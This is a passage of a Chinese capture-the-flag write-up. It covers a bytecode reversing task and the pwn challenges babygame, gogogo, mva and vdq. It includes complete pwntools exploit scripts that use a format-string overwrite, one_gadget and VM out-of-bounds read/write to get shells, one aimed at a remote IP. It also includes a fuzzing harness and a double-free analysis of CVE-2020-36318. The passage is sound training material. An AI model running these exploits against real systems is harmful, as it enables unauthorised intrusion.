+= r5 56: (18) r5 = 0xa6f374484da3 58: (5d) if r0 != r5 goto pc+38//0xa6f374484da3 == flag[0]*59154 + flag[1]*25901 + flag[2]*32808 + flag[3]*56709 59: (bf) r5 = r3 60: (27) r5 *= 33324 61: (bf) r0 = r2 62: (27) r0 *= 51779 63: (0f) r0 += r5 64: (bf) r5 = r4 65: (27) r5 *= 31886 66: (0f) r0 += r5 67: (bf) r5 = r1 68: (27) r5 *= 62010 69: (0f) r0 += r5 70: (18) r5 = 0xb99c485a7277 72: (5d) if r0 != r5 goto pc+24//0xb99c485a7277 == flag[0]*62010 + flag[1]*31886 + flag[2]*51779 + flag[3]*33324 \n\n最后解一下上述方程组即可拿到flag。\nPWNbabygame栈溢出先把srand的种子写掉,顺便泄露一个栈地址,然后就能算出之后的返回地址在栈中的位置了。然后用格式化字符串把返回地址写掉,再来一次格式化字符串。途中也顺便泄露一个libc地址,然后就能算出libc基址了,加上one_gadget再写回返回地址即可。\nfrom pwn import *import randomfrom ctypes import *context.log_level='debug'context.arch = "x86_64"#p=process("./babygame",env={'LD_PRELOAD':'./libc-2.31.so'})p=remote("120.25.205.249",37062)#elf=ELF("./babygame")libc = cdll.LoadLibrary('libc.so.6')#gdb.attach(p,"b*$rebase(0x1435)\\nc\\n")sla=lambda a,b:p.sendlineafter(a.encode(),b)sa=lambda a,b:p.sendafter(a.encode(),b)sa("name:","a"*256+"a"*8+"a")p.recvuntil("Hello, ")leakdata=p.recvuntil("\\x0a")[-15:-1]print((leakdata))canary=u64(leakdata[:-6].ljust(8,"\\x00"))-0x61stack_test=u64(leakdata[8:].ljust(8,"\\x00"))print(hex(canary))print(hex(stack_test))ogd=[0xe3b2e,0xe3b31,0xe3b34]libc.srand(0x61616161)p.recvuntil("paper")sleep(1)for i in range(100): temp=libc.rand()%3 print("now temp:"+hex(temp)) if(temp==0): temp=1 elif(temp==1): temp=2 elif(temp==2): temp=0 sla("round",str(temp))offset=6stack_ret=stack_test+(0x7ffcbd0edfd8-0x7ffcbd0ee1f0)print(hex(stack_ret))sleep(2)payload="%62c"+"%8$hhn"+"%9$p%p"+p64(stack_ret)sla("luck",payload)sleep(2)p.recvuntil("0x")data=int("0x"+(p.recv(12)),16)print(hex(data))libc_base=data-(0x7fead012bd0a-0x7fead00ca000)print(hex(libc_base))one_gad=libc_base+ogd[1]payload = fmtstr_payload(6, {stack_ret: one_gad},write_size='byte')sla("luck",payload)p.interactive()\n\ngogogo这题没做出来实属不应该,真没想到出题人会用这么恶心人的方式混淆(指一个个字符打印,以及拐弯抹角地硬是把简单的栈溢出藏在尾巴,搞得我这种习惯从上往下分析的累得半死不活,还以为漏洞肯定会在那个选择输入或输出的地方,属实是被整无语了)……\n主要是 golang 中传参的方式不太一样,其中有几个值得注意的输入函数,在我们恢复传参符号以后可以看见:\nfmt_Fscanf("%d");bufio___ptr_Reader__Read(qword_5514E0, v4, 0x200);bufio___ptr_Reader__Read(qword_5514E0, buf, 0x800);bufio___ptr_Reader__Read(qword_5514E0, v63, 0x20);\n\n\n只需要在 IDA 中将这下函数的参数列表设定好,重新反编译即可看见。因为 golang 的传参方式和常规的 x86_64 不太一样,所以默认情况下 IDA 没有正常识别的参数。\n\n然后就能注意到,有一个输入的长度是 0x800,而 buf 直接被 IDA 识别到了:\nchar buf[8]; // [rsp+70h] [rbp-460h] BYREF\n\n而 buf 下面也没有很多缓冲区,所以直接让程序执行到这里,然后正常用 ROP 拿 shell 即可。\n顺便一提,真正的主函数是 math_init 函数,出题人拐弯抹角的弄了很多混淆视听的东西。\n输入序列如下:\n\n1416925456\n通过游戏\nE\n4\npayload\n\nexp 没太多技术含量,主要就是需要去跑那个小游戏,网上搜一下就能找到脚本了,所以这里就不放了。\nmva程序分析逻辑很简单,输入虚拟机字节码然后就会开始执行了。注意到 IDA 打开之后分析的错误,通过汇编就能发现是由于 switch 的优化符号表导致,适当修复符号表后可以得到如下反汇编代码:\nwhile ( v5 ){ v7 = sub_11E9(); v6 = HIBYTE(v7); if ( v6 > 0xFu ) break; if ( v6 <= 0xFu ) { switch ( v6 ) { case 0u: // nop v5 = 0; goto LABEL_102; case 1u: // ldr reg,val if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); *(&reg + SBYTE2(v7)) = v7; goto LABEL_102; case 2u: // add if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 (v7 & 0x8000) != 0 ) exit(0); if ( v7 > 5 (v7 & 0x80u) != 0 ) exit(0); *(&reg + SBYTE2(v7)) = *(&reg + SBYTE1(v7)) + *(&reg + v7); goto LABEL_102; case 3u: // sub if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 (v7 & 0x8000) != 0 ) exit(0); if ( v7 > 5 (v7 & 0x80u) != 0 ) exit(0); *(&reg + SBYTE2(v7)) = *(&reg + SBYTE1(v7)) - *(&reg + v7); goto LABEL_102; case 4u: // and if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 (v7 & 0x8000) != 0 ) exit(0); if ( v7 > 5 (v7 & 0x80u) != 0 ) exit(0); *(&reg + SBYTE2(v7)) = *(&reg + SBYTE1(v7)) & *(&reg + v7); goto LABEL_102; case 5u: // or if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 (v7 & 0x8000) != 0 ) exit(0); if ( v7 > 5 (v7 & 0x80u) != 0 ) exit(0); *(&reg + SBYTE2(v7)) = *(&reg + SBYTE1(v7)) *(&reg + v7); goto LABEL_102; case 6u: // shr if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 (v7 & 0x8000) != 0 ) exit(0); *(&reg + SBYTE2(v7)) = *(&reg + SBYTE2(v7)) >> *(&reg + SBYTE1(v7)); goto LABEL_102; case 7u: if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 (v7 & 0x8000) != 0 ) exit(0); if ( v7 > 5 (v7 & 0x80u) != 0 ) exit(0); *(&reg + SBYTE2(v7)) = *(&reg + SBYTE1(v7)) ^ *(&reg + v7); goto LABEL_102; case 8u: JUMPOUT(0x1780LL); case 9u: // push if ( espr > 256 ) exit(0); if ( BYTE2(v7) ) stack[espr] = v7; else stack[espr] = reg; ++espr; goto LABEL_102; case 0xAu: // pop if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( !espr ) exit(0); *(&reg + SBYTE2(v7)) = stack[--espr]; goto LABEL_102; case 0xBu: v8 = sub_11E9(); if ( v4 == 1 ) dword_403C = v8; goto LABEL_102; case 0xCu: // cmp if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 (v7 & 0x8000) != 0 ) exit(0); v4 = *(&reg + SBYTE2(v7)) == *(&reg + SBYTE1(v7)); goto LABEL_102; case 0xDu: // mul if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( v7 > 5 (v7 & 0x80u) != 0 ) exit(0); *(&reg + SBYTE2(v7)) = *(&reg + SBYTE1(v7)) * *(&reg + v7); goto LABEL_102; case 0xEu: // mov if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 ) exit(0); *(&reg + SBYTE1(v7)) = *(&reg + SBYTE2(v7)); goto LABEL_102; case 0xFu: // print stack printf("%d\\n", stack[espr]); goto LABEL_102; default: goto LABEL_103; } }}\n\n除了字节码为 0x8 的指令外,基本都分析出来了。代码并不复杂,说是虚拟机其实也并没有做非常复杂的封装,基本上不会有阅读障碍,不过由于 IDA 自带的一些宏定义不太方便理解,这里以 ldr 指令为例:\n.text:0000000000001421 movsx eax, [rbp+var_249].text:0000000000001428 cdqe.text:000000000000142A movzx edx, [rbp+var_23E].text:0000000000001431 mov word ptr [rbp+rax*2+reg], dx\n\nvar_249 处是目标寄存器编号,var_23E 处是目标操作数。这种写法经由 IDA 表现为 SBYTE2 ,所以如果觉得阅读不顺,可以直接通过汇编理解。\n漏洞分析注意到像是 add 或者 sub 这种有三个操作数的指令都会先检测操作数是否合法,而 mul 指令却没有:\ncase 0xDu: // mul if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( v7 > 5 (v7 & 0x80u) != 0 ) exit(0); *(&reg + SBYTE2(v7)) = *(&reg + SBYTE1(v7)) * *(&reg + v7);\n\n该指令只检查了目标寄存器和源寄存器中的一个,举例来说就是\n\nmul r3,r2,r1\n\n只检查了 r3 和 r1。因此 r2 的值可以越界读取(oob read)。\n类似的,mov指令也是如此:\ncase 0xEu: // mov if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 ) exit(0); *(&reg + SBYTE1(v7)) = *(&reg + SBYTE2(v7)); goto LABEL_102;\n\n其没有检查高位,即可以使得目标操作数向负数溢出,类似于:\n\nmov r1,r2\n\nr1 和 r2 都不能超过 4 ,但 r1 有可能是负数,存在越界写(oob write),不过需要注意,这个只能向低地址越界,因此利用仍然有限。\n由此一来基本也能有利用思路了:\n\n通过越界读以及打印栈数据泄露 libc_base\n通过越界写控制执行流\n\nAttack Test首先我们需要尝试泄露地址,通过 mul 指令向上读取一块 libc 中的地址:\npayload+=ldr(0x1)+mul(0,-0x12+4,0)+push(1)payload+=ldr(0x1)+mul(0,-0x12+5,0)+push(1)payload+=ldr(0x1)+mul(0,-0x12+6,0)+push(1)\n\n通过 ldr 指令将 1 加载到 r0,然后用 mul 读取上方地址之后乘以 1 仍为原数,将其放入栈中,重复三次就能完整的得到一个地址。\n但需要注意,接下来我们似乎理所应当地要用 print 把栈中数据打印出来,笔者开始也这么想,但如果您这么做了,就意味着接下来需要写返回地址为 main 函数,那么您本次就应该泄露 ELF 基址,然后通过多次返回来利用,这很麻烦,对吗?\n于是笔者换了一个思路,既然它已经读到了一块地址,我们能不能直接让它自己算出 one_gadget 的地址?这样我们直接写返回地址到 one_gadget 就能一次性拿下了,能省去很多麻烦。\n因此接下来我们直接在虚拟机里计算地址:\npayload+=pop(1)payload+=pop(2)+ldr(0x11)+sub(2,2,0)payload+=pop(3)+ldr(0xBB10)+add(3,3,0)\n\n既然已经有了地址,接下来就只需要完成返回地址覆盖即可:\n#esp=0x800000000000010cpayload+=ldr(0x010C)+mv(0,-10)payload+=ldr(0x0000)+mv(0,-9)payload+=ldr(0x0000)+mv(0,-8)payload+=ldr(0x8000)+mv(0,-7)payload+=mv(3,0)+push(1)+mv(2,0)+push(1)+mv(1,0)+push(1)\n\n将虚拟机中的 esp 改为 0x800000000000010c 来绕过其数值检查,而在写内存时会通过乘以 2 的方式导致整数溢出:\nmov [rbp+rax*2+stack], dx\n\n最后只需要正常的将我们已经放在寄存器中的返回地址一次覆盖返回地址即可。\n完整EXP:\nfrom pwn import *context.log_level='debug'p=process("./mva",env={'LD_PRELOAD':'./libc-2.31.so'})elf=ELF("./mva")libc=elf.libc#gdb.attach(p,"b*$rebase(0x17DC)\\n")def pack(op:int, p1:int = 0, p2:int = 0, p3:int = 0) -> bytes: return (op&0xff).to_bytes(1,'little') + \\ (p1&0xff).to_bytes(1,'little') + \\ (p2&0xff).to_bytes(1,'little') + \\ (p3&0xff).to_bytes(1,'little')def ldr(val):#2 byte return pack(0x01, 0, val >> 8, val)def add(p1, p2, p3): return pack(0x02, p1, p2, p3)def sub(p1, p2, p3): return pack(0x03, p1, p2, p3)def shr(p1, p2): return pack(0x06, p1, p2)def xor(p1, p2, p3): return pack(0x07, p1, p2, p3)def push(p1): return pack(0x09, 0,0,p1)def pop(p1): return pack(0x0a, p1)def mul(p1, p2, p3):#leak return pack(0x0D, p1, p2, p3)def mv(p1, p2): return pack(0x0E, p1, p2)def sh(): return pack(0x0F)payload=b''payload+=ldr(0x1)+mul(0,-0x12+4,0)+push(1)payload+=ldr(0x1)+mul(0,-0x12+5,0)+push(1)payload+=ldr(0x1)+mul(0,-0x12+6,0)+push(1)payload+=pop(1)payload+=pop(2)+ldr(0x11)+sub(2,2,0)payload+=pop(3)+ldr(0xBB10)+add(3,3,0)payload+=ldr(0x010C)+mv(0,-10)payload+=ldr(0x0000)+mv(0,-9)payload+=ldr(0x0000)+mv(0,-8)payload+=ldr(0x8000)+mv(0,-7)payload+=mv(3,0)+push(1)+mv(2,0)+push(1)+mv(1,0)+push(1)payload=payload.ljust(0x100,b'\\0')p.sendline(payload)p.interactive()\n\n\n但请注意,这个 exp 并不是百分比成功。由于每次运算只能对两字节进行,因此在低位进行运算时可以向上溢出一位,导致第二个地址和期望地址差了 1 ,但这属于误差,多跑几次就能成功。\n\nvdq逻辑分析二进制程序是由rust写的,IDA的反编译结果显得非常混乱。跑起来后没有提示任何操作,只能根据IDA推测其提供的服务。根据函数名,我们能够大致推测出程序的逻辑,main函数的主要代码只有两行:\nvdq::get_opr_lst::h470c4d46db5f8252(&v0);//读取oprvdq::handle_opr_lst::h7fb2393547b96358(v1.buf.alloc.gap0);//处理opr\n\n进入get_opr_lst之后,注意到如下代码:\ncore::result::Result<alloc::vec::Vec<vdq::Operation>,serde_json::error::Error> v29;serde_json::de::from_str::h2ed086b1a84205ca(&v29, v12);\n\n因此我们就可以推测,程序提供了一个反序列化服务,v29是其对象。接下来就向下搜索反序列化的关键字和翻译格式。顺着如下函数向下搜索:\n vdq::get_opr_lst::h470c4d46db5f8252(&v0); serde_json::de::from_str::h2ed086b1a84205ca(&v29, v12); serde_json::de::from_trait::h010df4f45829b4ad(retstr, read);serde::de::impls::_$LT$impl$u20$serde..de..Deserialize$u20$for$u20$alloc..vec..Vec$LT$T$GT$$GT$::deserialize::h3d140fae89f3cb33_$LT$$RF$mut$u20$serde_json..de..Deserializer$LT$R$GT$$u20$as$u20$serde..de..Deserializer$GT$::deserialize_seq::hbd3934c1f9eb2161_$LT$serde..de..impls..$LT$impl$u20$serde..de..Deserialize$u20$for$u20$alloc..vec..Vec$LT$T$GT$$GT$..deserialize..VecVisitor$LT$T$GT$$u20$as$u20$serde..de..Visitor$GT$::visit_seq::h004d517e1abba1bdserde::de::SeqAccess::next_element::h66a6a37c3fe5b12c_$LT$serde_json..de..SeqAccess$LT$R$GT$$u20$as$u20$serde..de..SeqAccess$GT$::next_element_seed::hdf4677aba76d625b_$LT$core..marker..PhantomData$LT$T$GT$$u20$as$u20$serde..de..DeserializeSeed$GT$::deserialize::ha3e4760fc98c681avdq::_::_$LT$impl$u20$serde..de..Deserialize$u20$for$u20$vdq..Operation$GT$::deserialize::h5d3aaf882e3017d5_$LT$$RF$mut$u20$serde_json..de..Deserializer$LT$R$GT$$u20$as$u20$serde..de..Deserializer$GT$::deserialize_enum::h4c7b4e2d01c35d8_$LT$vdq.._..$LT$impl$u20$serde..de..Deserialize$u20$for$u20$vdq..Operation$GT$..deserialize..__Visitor$u20$as$u20$serde..de..Visitor$GT$::visit_enum::he6941ccdf9c46f1cserde::de::EnumAccess::variant::hc394608857e1e375_$LT$serde_json..de..UnitVariantAccess$LT$R$GT$$u20$as$u20$serde..de..EnumAccess$GT$::variant_seed::h3111f0a59a2c8909_$LT$core..marker..PhantomData$LT$T$GT$$u20$as$u20$serde..de..DeserializeSeed$GT$::deserialize::hae2cb777484d7d0f_$LT$vdq.._..$LT$impl$u20$serde..de..Deserialize$u20$for$u20$vdq..Operation$GT$..deserialize..__Field$u20$as$u20$serde..de..Deserialize$GT$::deserialize::h771926e8bf89d42b_$LT$$RF$mut$u20$serde_json..de..Deserializer$LT$R$GT$$u20$as$u20$serde..de..Deserializer$GT$::deserialize_identifier::h043dc575c5a1b557_$LT$$RF$mut$u20$serde_json..de..Deserializer$LT$R$GT$$u20$as$u20$serde..de..Deserializer$GT$::deserialize_str::h8ad76558a0a689aa_$LT$vdq.._..$LT$impl$u20$serde..de..Deserialize$u20$for$u20$vdq..Operation$GT$..deserialize..__FieldVisitor$u20$as$u20$serde..de..Visitor$GT$::visit_str::h9d16723e30de37b2\n\n最终能够在最后一个函数处找到解析关键字:\ncore::result::Result<vdq::_::{{impl}}::deserialize::__Field,serde_json::error::Error> *__cdecl _$LT$vdq.._..$LT$impl$u20$serde..de..Deserialize$u20$for$u20$vdq..Operation$GT$..deserialize..__FieldVisitor$u20$as$u20$serde..de..Visitor$GT$::visit_str::h9d16723e30de37b2(core::result::Result<vdq::_::{{impl}}::deserialize::__Field,serde_json::error::Error> *retstr, vdq::_::_{impl}}::deserialize::__FieldVisitor self, _str __value){ _str v3; // rdx _str v4; // rdx _str v5; // rdx _str v6; // rdx _str v7; // rdx unsigned __int64 v8; // r8 unsigned __int64 v9; // rsi core::result::Result<vdq::_::{{impl}}::deserialize::__Field,serde_json::error::Error> *v11; // [rsp+28h] [rbp-30h] v3.data_ptr = &unk_62AB2; // add v3.length = 3LL; if ( core::str::traits::_$LT$impl$u20$core..cmp..PartialEq$u20$for$u20$str$GT$::eq::he9d7a829c76bba8b(*&retstr, v3) ) { LOWORD(v11) = 0; } else { v4.data_ptr = &byte_62AB5; // remove v4.length = 6LL; if ( core::str::traits::_$LT$impl$u20$core..cmp..PartialEq$u20$for$u20$str$GT$::eq::he9d7a829c76bba8b(*&retstr, v4) ) { LOWORD(v11) = 256; } else { v5.data_ptr = &unk_62ABB; // append v5.length = 6LL; if ( core::str::traits::_$LT$impl$u20$core..cmp..PartialEq$u20$for$u20$str$GT$::eq::he9d7a829c76bba8b( *&retstr, v5) ) { LOWORD(v11) = 512; } else { v6.data_ptr = &unk_62AC1; // archive v6.length = 7LL; if ( core::str::traits::_$LT$impl$u20$core..cmp..PartialEq$u20$for$u20$str$GT$::eq::he9d7a829c76bba8b( *&retstr, v6) ) { LOWORD(v11) = 768; } else { v7.data_ptr = &unk_62AA4; // view v7.length = 4LL; if ( core::str::traits::_$LT$impl$u20$core..cmp..PartialEq$u20$for$u20$str$GT$::eq::he9d7a829c76bba8b( *&retstr, v7) ) { LOWORD(v11) = 1024; } else { serde::de::Error::unknown_variant::hc8291a7390e93cb5( retstr, __PAIR128__(&off_7BD80, v9), __PAIR128__(v8, (&stru_2._marker + 3))); LOBYTE(v11) = 1; } } } } } return v11;}\n\n不过需要注意,rust编译后的字符串相互连接,通过长度来确定具体的字符串内容;而IDA的分析会将整个字符串一并解析,以至于难以准确理解代码,具体表现如下:\nv3.data_ptr = &unk_62AB2; // addv3.length = 3LL;v4.data_ptr = &byte_62AB5; // removev4.length = 6LL;\n\n字符串在IDA中的样式:\nunsigned char ida_chars[] ={0x41, 0x64, 0x64, 0x52, 0x65, 0x6D, 0x6F, 0x76, 0x65, 0x41,0x70, 0x70, 0x65, 0x6E, 0x64};//AddRemoveAppend\n\n根据上述函数能够分析出具体有哪些操作:\nAdd、Remove、Append、Archive、View\n\n并且继续向上跟踪,可以知道其输入格式是:(事实上如果熟悉反序列化就不用苦恼了,不过笔者也试着搜索过,搜出格式以后直接套也行,不过难道有这种机会,还是试着逆了一下)\n["Add","Add","Remove"]$\n\n在知道具体的输入以后,就可以尝试fuzz来进行输入测试了。\n但笔者不得不在这里提一句,如果您熟悉rust中的enum或实际拥有编译条件的话,在如下函数就能直接找到答案,不需要一步步深入:\n // local variable allocation has failed, the output may be wrong!core::result::Result<vdq::Operation,serde_json::error::Error> *__cdecl vdq::_::_$LT$impl$u20$serde..de..Deserialize$u20$for$u20$vdq..Operation$GT$::deserialize::h5d3aaf882e3017d5(core::result::Result<vdq::Operation,serde_json::error::Error> *retstr, serde_json::de::Deserializer<serde_json::read::StrRead> *__deserializer){ __int64 v2; // r9 OVERLAPPED _str v3; // rdx core::marker::PhantomData<&u8> *v4; // r8 vdq::_::_{impl}}::deserialize::__Visitor v6; // [rsp+0h] [rbp-38h] v3.length = &off_7BD80; v4 = &stru_2._marker + 3; v3.data_ptr = (&stru_2 + 7); return _$LT$$RF$mut$u20$serde_json..de..Deserializer$LT$R$GT$$u20$as$u20$serde..de..Deserializer$GT$::deserialize_enum::h4c7b4e2d01c35d85(retstr,&unk_62AA9,v3,*(&v2 - 1),v6);}\n\n阅读函数命deserialize_enum大概能够知道这是rust编译后的enum表示函数,unk_62AA9是其中的数据:\n0000000000062AA9 aOperationaddre db 'OperationAddRemoveAppendArchive'\n\n结合 handle_opr_lst 可知对应的代码应该是:\nenum vdq::Operation : __int8{ Add = 0x0, Remove = 0x1, Append = 0x2, Archive = 0x3, View = 0x4};\n\n模糊测试这里参考一下cj神的方法:\n # fuzz.sh#!/bin/bashwhile ((1))do python ./vdq_input_gen.py > poc cat poc ./vdq if [ $? -ne 0 ]; then break fidone\n\n# vdq_input_gen.py#!/usr/bin/env python# coding=utf-8import randomimport stringoperations = "["def Add(): global operations operations += "\\"Add\\", "def Remove(): global operations operations += "\\"Remove\\", "def Append(): global operations operations += "\\"Append\\", "def View(): global operations operations += "\\"View\\", "def Archive(): global operations operations += "\\"Archive\\", "def DoOperations(): print(operations[:-2] + "]") print("$")def DoAdd(message): print(message)def DoAppend(message): print(message)total_ops = random.randint(1, 20)total_adds = 0total_append = 0total_remove = 0total_message = 0for i in range(total_ops): op = random.randint(0, 4) if op == 0: total_message += 1 total_adds += 1 Add() elif op == 1: total_adds -= 1 Remove() elif op == 2: if total_adds > 0: total_append += 1 total_message += 1 Append() Append() elif op == 3: total_adds = 0 total_append = 0 total_remove = 0 Archive() elif op == 4: View()DoOperations()for i in range(total_message): DoAdd(''.join(random.sample(string.ascii_letters + string.digits, random.randint(1, 40))))\n\n不过笔者修改了total_ops的数量,让最后的poc尽可能短一些,否则可能对分析造成额外的负担:\n["Remove", "Add", "View", "Add", "Add", "Archive", "Add", "Remove", "Append", "Add", "View", "View", "View", "Remove", "Remove", "Add", "Add"]$L3K9MFZ5HosACETa0hO4Hx1Zzwt8Q7vs3fFSIylFsXgqDKMRLUePjZ6C2YfB3TcxiI5unmvbKotjPBxTmkSyg0rUJ1lheZNVaumP7E8dYDrxFnu2hjWeAHVMcqaCkTgI4NKC9BaM42AY8Z0UIdwmNHLDeJWit5\n\n可以根据poc的逻辑适当缩减操作:\n ["Add", "Add", "Add", "Archive", "Add", "Remove", "Append", "Add", "View", "Remove", "Remove","Add"]$Add note [1] with message : 1Add note [2] with message : 2Add note [3] with message : 3Archive note [1]Add note [4] with message : 4Removed note [2]Append with message : 5Add note [5] with message : 5Cached notes: -> 35 -> 4 -> 5Removed note [3]Removed note [4]Add note [6] with message : 6free(): double free detected in tcache 2\n\n功能分析根据上述的poc和情况可以分析出每条指令的用处。##### Add添加一条信息,但该信息总是加入队尾,即便前面的位置空出来也是如此。##### Remove删除一条信息,但该信息总是从队头删除。##### Append向当前队头的信息中添加额外的信息进行拼接(如上述情况,队头信息由 “3” 转至 “35”)。##### View打印当前所有的信息。##### Archive从队首获取一个信息,情况于Remove相似,但它并不会将用以储存消息的容器也释放掉,相当于只增加一次 tail。\n进一步缩减poc,像Append就明显不太有用,但笔者尝试删除用以显示数据的View时却发现程序正常执行了,这说明View操作是必要的;以及,当笔者试图减少相同数量的Add和Remove时也发现不能等价,因此笔者根据测试得到的最短poc如下:\n["Add", "Add", "Add", "Remove", "Add", "Remove","Add", "View","Remove","Add"]$Add note [1] with message : 1Add note [2] with message : 2Add note [3] with message : 3Removed note [1]Add note [4] with message : 4Removed note [2]Add note [5] with message : 5Cached notes: -> 3 -> 4 -> 5Removed note [3]Add note [6] with message : 6free(): double free detected in tcache 2\n\n但奇怪的是,本该无关紧要的 View 操作却是必要的,如果删去该操作,程序又会继续执行下去,因此再看看源代码中 View 部分的实现:\ncase 4u: // View core::fmt::Arguments::new_v1::h44adc30b070cf8c4(&v45, __PAIR128__(1LL, &stru_7BBC0), unk_62828); std::io::stdio::_print::h0d31d4b9faa6e1ec(); alloc::collections::vec_deque::VecDeque$LT$T$GT$::make_contiguous::he6debc29b2205434(&v12, &stru_7BBC0); v1 = &v12; alloc::collections::vec_deque::VecDeque$LT$T$GT$::iter::h0cc194c5561ce1ed(&v46, &v12); core::iter::traits::iterator::Iterator::for_each::h73567d402a60c07d(v10, &v46);\n\nmake_contiguous 显得十分可疑,于是去查了一下官方文档:doc.rust-lang.org\n\nRearranges the internal storage of this deque so it is one contiguous slice, which is then returned.\n\n大致意思就是将容器中的数据重新紧凑排列到内存中。\n调试分析首先需要先清楚整个容器的储存方式。因为符号表没抹掉,所以能直接拿到:\n//容器本身alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>>{ __int32 tail; __int32 head; alloc::raw_vec::RawVec<alloc::boxed::Box<vdq::Note>,alloc::alloc::Global> buf;}\n\n//容器成员vdq::Note{ core::option::Option<usize> idx; alloc::vec::Vec<u8> msg;}\n\n首先如果使用如下payload测试其内存模型:\n["Add", "Add", "Add", "Add"]\n\n当添加第 [4] 个 message 的时候,会用其他函数拓展容器的缓冲区,内存变化如下:\n#Add note [3] with message : pwndbg> x /10gx 0x7fffffffd9300x7fffffffd930: 0x0000000000000000 0x00000000000000030x7fffffffd940: 0x00005555555d7e40 0x0000000000000004pwndbg> x /10gx 0x00005555555d7e400x5555555d7e40: 0x00005555555d7e90 0x00005555555d7ee00x5555555d7e50: 0x00005555555d7f30 0x0000000000000000#Add note [4] with message : #注意到 VecDeque::buf 的地址已经变化pwndbg> x /10gx 0x7fffffffd9300x7fffffffd930: 0x0000000000000000 0x00000000000000040x7fffffffd940: 0x00005555555d7fb0 0x0000000000000008pwndbg> x /10gx 0x00005555555d7fb00x5555555d7fb0: 0x00005555555d7e90 0x00005555555d7ee00x5555555d7fc0: 0x00005555555d7f30 0x00005555555d7f800x5555555d7fd0: 0x0000000000000000 0x00000000000000000x5555555d7fe0: 0x0000000000000000 0x0000000000000000\n\n现在大致就能够明白整个Deque的内存模型了:\n\n初始化阶段会开辟大小为 4 的buf,当其装满时则将大小翻倍\n队首是指向高位的 index ,队尾则指向低位的 index\n当index到达最大值时会进行回绕;但如果回绕的head再一次越过tail,就表明容器装满了,会再次拓展\n入队和出队都只是将 head 或 tail 进行加减运算罢了,并不会立即释放\n\n接下来实际调试一下上述poc,当View触发之后,容器的内存如下:\n#VecDequepwndbg> x /10gx 0x7fffffffd9400x7fffffffd940: 0x0000000000000001 0x00000000000000040x7fffffffd950: 0x00005555555d7e80 0x00000000000000040x7fffffffd960: 0x00005555555d7fa0 0x0000000000000004#VecDeque::bufpwndbg> x /10gx 0x00005555555d7e800x5555555d7e80: 0x00005555555d7f20 0x00005555555d7ff00x5555555d7e90: 0x00005555555d7f20 0x00005555555d7f200x5555555d7ea0: 0x00005555555d7f70 0x0000000000000021\n\ntail=1;head=4;其中buf[2] == buf[3];那么在释放该容器时,就会因为两者buf[2]和buf[3]都被认为是合法的容器而导致错误。事实也确实如此,如果我们在最后添加一个 View ,那么就会打印出两次相同内容:\nCached notes:-> 4-> 5-> 5\n\n既然已经明白了触发double free的原因,接下来适当构造 payload 来进行任意地址写就算成功了。\n但还有一个疑点:\n\nmake_contiguous 到底做了什么? 或许直接看源代码就能解决问题,但并不是每次都有代码可查。至少笔者本次甚至没意识到程序是由 rust 所写,以及即便知道,也很难得知版本对应的漏洞和commit。因此本次还是直接通过调试来确定其逻辑。(这种方法是有条件的,因为本题的漏洞属于逻辑漏洞,因此我们只需要通过调试理解其执行逻辑即可;但有些漏洞则是细节上的设计问题,对于这类问题,调试就不那么有效了)\n\n注:\n\n其实还是有办法找到的,关键字:[rust,cve,make_contiguous]\n直接搜索就能找到 CVE-2020-36318 ,并能在commit中找到具体的最小poc\n\n笔者根据上述内容适当改了改payload,然后将断点打在 make_contiguous 处:\n["Add", "Add", "Add","Remove", "Remove", "Add", "View"]\n\n此时的容器内存布局:\n#beforepwndbg> x /10gx 0x7fffffffd9300x7fffffffd930: 0x0000000000000002 0x00000000000000000x7fffffffd940: 0x00005555555d7e60 0x0000000000000004pwndbg> x /10gx 0x00005555555d7e600x5555555d7e60: 0x00005555555d7eb0 0x00005555555d7f000x5555555d7e70: 0x00005555555d7f50 0x00005555555d7f00#afterpwndbg> x /10gx 0x7fffffffd9300x7fffffffd930: 0x0000000000000000 0x00000000000000020x7fffffffd940: 0x00005555555d7e60 0x0000000000000004pwndbg> x /10gx 0x00005555555d7e600x5555555d7e60: 0x00005555555d7f50 0x00005555555d7f000x5555555d7e70: 0x00005555555d7f50 0x00005555555d7f00\n\n在发生地址回绕之后,调用 make_contiguous 会将实际在用的数据向前重新对齐。本例中就将 buf[2] 与 buf[3] 重新拷贝到了 buf[0] 和 buf[1] 的位置,同时修改 head 和 tail 的值使其正确。但需要注意,本例有些不明确。笔者在后续调试中验证了得到了如下结论:\n\n如果 tail < head,则无事发生\n如果 tail > head,就将 tail 到 head 之间的切片拼接到当前 head 位置\n\n综上,我们最终能够明白poc之所以会导致崩溃的原因是:\n\n首先是 head 第一次回绕,同时在第一个单元留下合法数据\n而第一次 make_contiguous ,因为此时 head=1,导致其整合时越过了第一个单元,使得 head 超出 Size 却没有回绕\n此时再次 Add 使其回绕,但由于其回绕是通过取余的方式,因此使得再次 head=1\n但由于容器本身的 Size 并未变化,因此 buf[0] 的数据仍然起效,每次 make_contiguous 都会正常拷贝其地址,以至于此时 tail 与 tail 间多出了几个相同的地址,因此释放时触发了 double free\n\n事后查阅了源代码也可以看见,原函数此处是直接返回一个切片,但由于并未考虑到索引回绕的问题,因此才会导致上述错误。\n- return unsafe { &mut self.buffer_as_mut_slice()[tail..head] };//此处直接返回了切片+ return unsafe { RingSlices::ring_slices(self.buffer_as_mut_slice(), head, tail).0 };\n\nAttack Test因为 make_contiguous 会将 tail 到 head 间的元素拷贝到 head 